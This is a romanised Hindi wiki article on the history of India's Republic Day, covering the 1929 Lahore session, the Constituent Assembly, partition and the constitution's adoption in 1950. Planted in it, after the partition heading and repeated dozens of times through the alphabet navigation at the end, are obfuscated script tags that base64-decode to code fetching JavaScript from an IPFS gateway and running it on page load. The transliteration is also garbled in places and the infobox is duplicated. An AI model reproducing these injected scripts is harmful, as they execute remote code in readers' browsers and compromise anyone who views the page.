गणतंत्र दिवस का इतिहास

	ganatantr divas ka itihas
	ganatantr divas par gurakha raiphals ki pared\|200px\|center
vivaran	pratyek varsh ka 26 janavari ek aisa din hai jab prath‍yek bharatiy ke man mean desh bhakti ki lahar aur matribhoomi ke prati apar sh‍neh bhar uthata hai.
uddeshy	yah ayojan hamean desh ke sabhi shahidoan ke ni:sh‍varth balidan ki yad dilata hai, jinh‍hoanne azadi ke sangharsh mean apane jivan balidan kar die aur videshi akramanoan ke viruddh anek l daiyaan jiti.
itihas	26 janavari, 1950 ko desh ka sanvidhan lagoo hua aur is prakar bharat sarakar ke sansadiy roop ke sath ek sanprabhutashali samajavadi lok‍taantrik ganatantr ke roop mean bharat desh samane aya. bharatiy sanvidhan, jise desh ki sarakar ki rooparekha ka pratinidhith‍v karane vale paryaph‍t vichar vimarsh ke bad vidhan mandal dvara apanaya gaya, tab se 26 janavari ko bharat ke ganatantr divas ke roop mean bhari uth‍sah ke sath manaya jata hai aur ise rashh‍triy avakash ghoshit kiya jata hai.
vishesh	pradhanamantri dvara ganatantr divas ki poorv sandhh‍ya (25 janavari) par rashtr ke nam sandesh prasarit kiya jata hai. isake bad agale din, jo javan azadi ki l daee mean shahid hue unaki yad mean iandiya get par amar jyoti jalaee jati hai. isake shighr bad 21 topoan ki salami di jati hai aur rashtrapati mahoday dvara rashh‍triy dhh‍vaj phaharaya jata hai evan rashh‍tragan hota hai. mahamahim rashtrapati ke sath ek ulh‍lekhaniy videshi rashtr pramukh ate haian, jinh‍hean ayojan ke mukhh‍y atithi ke roop mean amantrit kiya jata hai.
sanbandhit lekh	ganatantr divas, ganatantr divas par mukhy atithi, bitiang d ritrit, svatantrata divas, bharatiy kraanti divas, vijay divas, bharat ka vibhajan
any janakari	sabase pahali bar 21 topoan ki salami ke bad bharatiy rashh‍triy dhh‍vaj ko d aau. rajendr prasad ne phahara kar 26 janavari, 1950 ko bharatiy ganatantr ke aitihasik janh‍m ki gho‍shana ki. british raj se azadi pane ke 894 din bad hamara desh sh‍vatantr rajh‍y bana. tab se har varsh poore rashh‍tr mean b de uth‍sah aur garv se yah din manaya jata hai.

ganatantr divas (aangrezi: Republic Day) bharat mean 26 janavari ko manaya jata hai aur yah bharat ka ek rashtriy parv hai. har varsh 26 janavari ek aisa din hai jab prath‍yek bharatiy ke man mean desh bhakti ki lahar aur matribhoomi ke prati apar sh‍neh bhar uthata hai. aisi anek mahattvapoorn sh‍mritiyaan haian jo is din ke sath ju di huee hai. 26 janavari, 1950 ko desh ka sanvidhan lagoo hua aur is prakar yah sarakar ke sansadiy roop ke sath ek sanprabhutashali samajavadi lok‍taantrik ganatantr ke roop mean bharat desh samane aya.

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itihas

bharat ke sanvidhan ko lagoo kie jane se pahale bhi 26 janavari ka bahut mahattv tha. 26 janavari ko vishesh din ke roop mean chihnit kiya gaya tha, 31 disanbar sanh 1929 ke madhh‍y ratri mean rashh‍tr ko svatantr banane ki pahal karate hue lahaur mean bharatiy rashtriy kaangres ka adhiveshan pandit javaharalal neharoo ki adhyakshata mean hu‌a,[[chitr:Tricolor.jpg|thumb|250px|left|rashh‍triy dhh‍vaj]] jisamean prastav parit kar is bat ki ghoshana ki g‌ee ki yadi aangrez sarakar 26 janavari, 1930 tak bharat ko upanivesh ka pad (dominiyan stetas) nahian pradan karegi to bharat apane ko poorn svatantr ghoshit kar dega.

26 janavari, 1930 tak jab aangrez sarakar ne kuchh nahian kiya tab kaangres ne us din bharat ki poorn svatantrata ke nishchay ki ghoshana ki aur apana sakriy aandolan aranbh kiya. bharatiy rashtriy kaangres ke is lahaur adhiveshan mean pahali bar tirange jhande ko phaharaya gaya tha parantu sath hi is din sarvasammati se ek aur mahattvapoorn phaisala liya gaya ki prativarsh 26 janavari ka din poorn svaraj divas ke roop mean manaya jaega. is din sabhi svatantrata senani poorn svaraj ka prachar kareange. is tarah 26 janavari aghoshit roop se bharat ka svatantrata divas ban gaya tha. us din se 1947 mean svatantrata prapt hone tak 26 janavari svatantrata divas ke roop mean manaya jata raha.

bharatiy sanvidhan sabha

usi samay bharatiy sanvidhan sabha ki baithakean hoti rahian, jisaki pahali baithak 9 disanbar, 1946 ko huee, jisamean bharatiy netaoan aur aangrez kaibinet mishan ne bhag liya. bharat ko ek sanvidhan dene ke vishay mean kee charchaean, sipharishean aur vad - vivad kiya gaya. kee bar sanshodhan karane ke pashchath bharatiy sanvidhan ko aantim roop diya gaya jo 3 varsh bad yani 26 navanbar, 1949 ko adhikarik roop se apanaya gaya.thumb|250px|left|ganatantr divas ke vibhinn drishy 15 agast, 1947 mean aangrejoan ne bharat ki satta ki bagador javaharalal neharoo ke hathoan mean de di, lekin bharat ka briten ke sath nata ya aangrejoan ka adhipaty samapt nahian hua. bharat abhi bhi ek british k aauloni ki tarah tha, jahaan ki mudra par j aaurj 6 ki tasvirean thi. azadi milane ke bad tatkalin sarakar ne desh ke sanvidhan ko phir se paribhashit karane ki zaroorat mahasoos ki aur sanvidhan sabha ka gathan kiya jisaki adhyakshata d aau. bhimarav ambedakar ko mili, 25 navambar, 1949 ko 211 vidvanoan dvara 2 mahine aur 11 din mean taiyar desh ke sanvidhan ko manjoori mili. [[chitr:fist repablicday.jpg|thumb|250px|san 1950, pratham ganatantr divas mean javaharalal neharoo]]

24 janavari, 1950 ko sabhi saansadoan aur vidhayakoan ne is par hastakshar kie. aur isake do din bad yani 26 janavari 1950 ko sanvidhan lagoo kar diya gaya. is avasar par d aau. rajendr prasad ne bharat ke pratham rashtrapati ke roop mean shapath li tatha 21 topoan ki salami ke bad 'irvin sh‍tediyam' mean bharatiy rashh‍triy dhh‍vaj 'tiranga' ko phaharakar bharatiy ganatantr ke aitihasik janh‍m ki gho‍shana ki thi. 26 janavari ka mahattv bana‌e rakhane ke li‌e vidhan nirmatri sabha (kaanstityoo‌eant aseanbali) dvara svikrit sanvidhan mean bharat ke ganatantr svaroop ko manyata pradan ki g‌ee. is tarah se 26 janavari ek bar phir surkhiyoan mean a gaya. yah ek sanyog hi tha ki 'kabhi bharat ka poorn svaraj divas ke roop mean manaya jane vala din ab bharat ka ganatantr divas' ban gaya tha. aangrejoan ke shasanakal se chhutakara pane ke 894 din bad hamara desh sh‍vatantr rashtr bana. tab se aj tak har varsh rashh‍trabhar mean b de garv aur harshollas ke sath ganatantr divas manaya jata hai. tadanantar svatantrata prapti ke vastavik din 15 agast ko svatantrata divas ke roop mean svikar kiya gaya. yahi vah din tha jab 1965 mean hindi ko bharat ki rajabhasha ghoshit kiya gaya.

kaangres adhiveshan aur muslim lig

26 janavari sanh 1930 ko hi kaangres ne lahaur adhiveshan mean ravi ke kinare poorn svatantrata prastav pas karake azadi ka jashn manaya tha. usi vaqt se sare desh mean har sal 26 janavari ko poorn svatantrata divas ke roop mean manaya jane laga tha.thumb|250px|left|agni misail, ganatantr divas julaee 1946 mean sanvidhan sabha ka chunav hua, jisamean 296 sadasyoan ki sabha mean se muslim lig ko 73 aur kaangres ko 211 sthan mile the. kaangres ke netaoan ne pan. javaharalal neharoo, d aau. rajendr prasad, chakravarti rajagopalachari, saradar ballabh bhaee patel, govind ballabh pant, bi. ji. kher, d aau. purushottam das tandan, maulana abulakalam azad, khan abdul gaffar khaan, shri asaf ali, shri rafi ahamad kidavaee, shri krishna sinha, kanhaiyalal manikalal muanshi, achary je. bi. kripalani aur shri krishnamachari adi the.

isake alava kaangres sena membaroan mean kaangres dvara namaankit sadasyoan mean d aau. sarvapalli radhakrishnan, d aau. sachchidanand sinha, shri en. gopal svami ayangar, d aau. bi. ar. ambedakar, d aau. em. ar. jayakar, shri alladi krishna svami ayyar, pan. hridayanath kuanjaroo, shri hari sianh gau d aur prophesar ke. ti. shah adi the. sanvidhan sabha mean kuchh mahilayean bhi thian, jinamean shrimati sarojini nayadoo, shrimati durgabaee deshamukh, shrimati hansa mehata, aur shrimati renuka ray pramukh thian. muslim lig mean navabazada liyaqat ali khaan, khvaja nazimuddim, shri ech. es. suharavardi, sar firoz khaan noon aur mohammad jafarulla khaan, pramukh the. d aau. rajendr prasad is sabha ke adhyaksh the. 9 disambar sanh 1946 ko sanvidhan sabha ka pahala adhiveshan hona nishchit hua. muslim lig ne do sanvidhan sabhaoan ki maang ki jisamean se ek pakistan ke lie banaee aur doosari bharat ke lie.

bharat ka vibhajan

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

3 joon sanh 1947 ko mauntabetan yojana prastut ki gee, jisamean prastav kiya gaya ki bharat ko do bhagoan, bharat aur pakistan mean baant diya jae. kaangres aur muslim lig donoan ne hi is yojana ko svikar kar liya. aprail sanh 1947 mean b dauda, bikaner, udayapur, jodhapur, riva aur patiyala ke deshi rajyoan ke pratinidhi sanvidhan sabha mean sammilit ho chuke the. thumb|250px|ganatantr divas par rashtriy kaidet kor ki pared aur 14 julaee sanh 1947 tak keval do deshi rajyoan jammoo–kashmir aur haidarabad ko chho dakar baki deshi rajyoan ke pratinidhi sanvidhan sabha mean bhag lene a ge the. 15 agast sanh 1947 ko bharat ke do tuk de bharat aur pakistan se hokar bharat azad hua. pan. javaharalal neharoo bharat ke pratham pradhanamantri bane aur lal qile par tiranga jhanda phaharaya. aktoobar sanh 1947 tak jammoo aur kashmir bhi bharat mean shamil ho gaya aur navambar sanh 1948 mean haidarabad bhi.

sanvidhan parit

is prakar sansad bharat ki mukammal pratinidhi sabha ban gee. 29 agast sanh 1947 ke prastav ke anusar ek praroop samiti qayam ki gee, jisake sat sadasy the aur d aau. bi. ar. ambedakar usake adhyaksh the. is samiti ne 21 faravari sanh 1948 ko apana nirnay prastut kar diya, jo 4 navambar, sanh 1948 ko sansad ke samane rakha gaya. is par 9 navambar sanh 1948 se 17 aktoobar sanh 1949 tak doosari khuvaandagi (vachan) chalati rahi jisamean 7635 dharaean pesh ki geean. 14 navambar sanh 1949 se 26 navambar sanh 1949 tak tisari khuvaandagi huee aur 26 navambar, 1949 ko sanvidhan par sanvidhan sabha hastakshar hokar sanvidhan parit ho gaya. 24 janavari sanh 1950 ko sanvidhan sabha ka antim adhiveshan hua aur isamean naye sanvidhan ke anusar d aau. rajendr prasad ko bharatiy ganarajy ka pratham rashtrapati chuna gaya. 26 janavari sanh 1950 se naya sanvidhan lagoo kiya gaya. usi din se har sal 26 janavari ko bharat mean ganatantrata divas manaya jata hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ pustak- bharatiy utsav aur parv dvara- ved prakash gupta

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ustak- bharatiy utsav aur parv dvara- ved prakash gupta

[1]

ganatantr divas ka itihas
ganatantr divas par gurakha raiphals ki pared\|200px\|center
vivaran	pratyek varsh ka 26 janavari ek aisa din hai jab prath‍yek bharatiy ke man mean desh bhakti ki lahar aur matribhoomi ke prati apar sh‍neh bhar uthata hai.
uddeshy	yah ayojan hamean desh ke sabhi shahidoan ke ni:sh‍varth balidan ki yad dilata hai, jinh‍hoanne azadi ke sangharsh mean apane jivan balidan kar die aur videshi akramanoan ke viruddh anek l daiyaan jiti.
itihas	26 janavari, 1950 ko desh ka sanvidhan lagoo hua aur is prakar bharat sarakar ke sansadiy roop ke sath ek sanprabhutashali samajavadi lok‍taantrik ganatantr ke roop mean bharat desh samane aya. bharatiy sanvidhan, jise desh ki sarakar ki rooparekha ka pratinidhith‍v karane vale paryaph‍t vichar vimarsh ke bad vidhan mandal dvara apanaya gaya, tab se 26 janavari ko bharat ke ganatantr divas ke roop mean bhari uth‍sah ke sath manaya jata hai aur ise rashh‍triy avakash ghoshit kiya jata hai.
vishesh	pradhanamantri dvara ganatantr divas ki poorv sandhh‍ya (25 janavari) par rashtr ke nam sandesh prasarit kiya jata hai. isake bad agale din, jo javan azadi ki l daee mean shahid hue unaki yad mean iandiya get par amar jyoti jalaee jati hai. isake shighr bad 21 topoan ki salami di jati hai aur rashtrapati mahoday dvara rashh‍triy dhh‍vaj phaharaya jata hai evan rashh‍tragan hota hai. mahamahim rashtrapati ke sath ek ulh‍lekhaniy videshi rashtr pramukh ate haian, jinh‍hean ayojan ke mukhh‍y atithi ke roop mean amantrit kiya jata hai.
sanbandhit lekh	ganatantr divas, ganatantr divas par mukhy atithi, bitiang d ritrit, svatantrata divas, bharatiy kraanti divas, vijay divas, bharat ka vibhajan
any janakari	sabase pahali bar 21 topoan ki salami ke bad bharatiy rashh‍triy dhh‍vaj ko d aau. rajendr prasad ne phahara kar 26 janavari, 1950 ko bharatiy ganatantr ke aitihasik janh‍m ki gho‍shana ki. british raj se azadi pane ke 894 din bad hamara desh sh‍vatantr rajh‍y bana. tab se har varsh poore rashh‍tr mean b de uth‍sah aur garv se yah din manaya jata hai.